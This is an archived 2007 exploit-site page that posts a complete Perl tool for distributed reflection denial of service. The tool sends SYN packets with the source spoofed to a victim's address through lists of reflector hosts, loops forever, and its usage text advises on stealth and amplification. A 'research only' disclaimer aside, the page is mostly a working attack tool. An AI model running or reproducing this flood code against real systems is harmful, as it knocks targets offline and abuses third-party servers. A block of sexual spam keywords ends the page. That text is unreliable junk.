about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , DRDoS - Distributed Reflection Denial of Service




2007-06-07 DRDoS - Distributed Reflection Denial of Service
Rated as : High Risk

#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of
the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap),
Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a
look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose   = '0';
my $syn_count = '1';
my $victim    = '127.0.0.1';
my @lists     = ();
my $net       = new Net::RawIP;

GetOptions(
	'verbose+'    => $verbose,
	'syn_count=s' => $syn_count,
	'list=s'      => @lists,
	'help'        => &usage,       
);
$victim = shift @ARGV;
if ( !$victim ) {
	die "Error: No target specified, use --helpn";
}
if ( !@lists ) {
	die "Error: You have to specify at least one reflector list, use
--helpn";
}
foreach my $file (@lists) {
	if ( !-e $file ) {
		die "File does not seem to exist: $filen";
	}
}
print "Starting attack on target $victim.n";
print "press Ctrl-C to interrupt at any time.n" if $verbose
>= 1;
while (1) {
	foreach my $listfile (@lists) {
		print "Loading reflector file: $listfilen" if $verbose >=
1;
		open( my $list, "<", $listfile )
			or die "Error opening file for reading: $listfilen";
		while (<$list>) {
			chomp;
			if ( check_format($_) ) {
				my $counter   = $syn_count;
				my $reflector = $_;
				my ( $ip, $port ) = split( ':', $reflector );
				print "reflector ip: $ip, reflector port: $portn"
					if $verbose > 1;
				for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
					print "attacking using reflector: $reflectorn"
						if $verbose > 1;
					my $rand = int( rand(65535) );
					while ( $rand == 0 ) {
						print
							"random number calculated for SRCPORT was zero,
retrying...n"
							if $verbose > 1;
						$rand = int( rand(65535) );
					}
					print "random port used for SRCPORT: $randn"
						if $verbose > 1;
					$net->set(
						{   ip => {
								saddr => $victim,
								daddr => $ip,
							},
							tcp => {
								source => $rand,
								dest   => $port,
								syn    => 1,
							},
						}
					);
					$net->send();
				}
			}
			else {
				print
					"mirror "$_" not in correct format (ip:port)
omitting...n"
					if $verbose >= 1;
			}
		}
	}
}

sub usage {
	print "nusage:nn";
	print "--helptt: youre reading itn";
	print
		"--verboset: makes the script more verbose. can be used several
times to increase verbosity.n";
	print "--listtt: used to specify a reflectorlist.n";
	print
		"ttexample: ./script --list list1.txt --list list2.txt --list
list3.txt 127.0.0.1n";
	print
		"ttthe more (and longer) lists you have, the better will the result
be, and the more stealth you will gain.n";
	print
		"--syn_countt: used to set the syn_count to a special value.
default is 1.n";
	print "ttdon't use too much - that would decrease your stealth.
Default (and that should be fine) is 1.n";
	print "nGeneral information:n";
	print "The usage of multiple lists can increase your
stealth.n";
	print "The more Mirrors or "reflectors" you use, the
better will the result be.n";
	print "The better the bandwidth of your mirrors is, the better will
the result be.n";
	print "Generally spoken is the bandwidth you use to flood your
victim amplified by the factor 3-4.nn";
	die "n";
}

sub check_format {    # a function to check the ip:port format.
	no warnings;
	my $address = shift;
	my ( $ip, $port ) = split( ':', $address );
	my @octets = split( '.', $ip );

	if ( $port < 1 or $port > 65535 ) {
		print "port $port too high or lown" if $verbose >= 1;
		return;
	}
	if ( @octets != 4 ) {
		print "ip has invalid number of octetts: $ipn" if $verbose
>= 1;
		return;
	}
	foreach my $octet (@octets) {
		if ( $octet < 0 or $octet > 255 ) {
			print "octet is invalid: $octetn" if $verbose >= 1;
			return;
		}
	}
	print "VALID!n" if $verbose > 1;
	return 1;
}


securitydot.net - 2007-06-07

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 08:50:30 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.love10 parejas www.cs2121 Www.Bigges Putitas.18 naked madh Www.89sex. SSL Www.sexy v wwwbestand www.telugu LIMEWIRE naked madh lo483l SEXCARTON. schoolgirl Www.89sex. Sexvediodo sql server fifa06 t156t galery pho news for c t156t sexey wimi WWW.SEX FR www.tfhack strl+t william th 200 /compo lankasri.c NAMITHA BL sexsy nans news for c mkportal.c porneskimo .89.c0m 200 /compo www.gambar php-nuke 2 Sexsex mambo Remo ULTRAPASSW Sexvediodo sex video bia3x kar2 Vulnera b www.adultv Sexy girls 200 /compo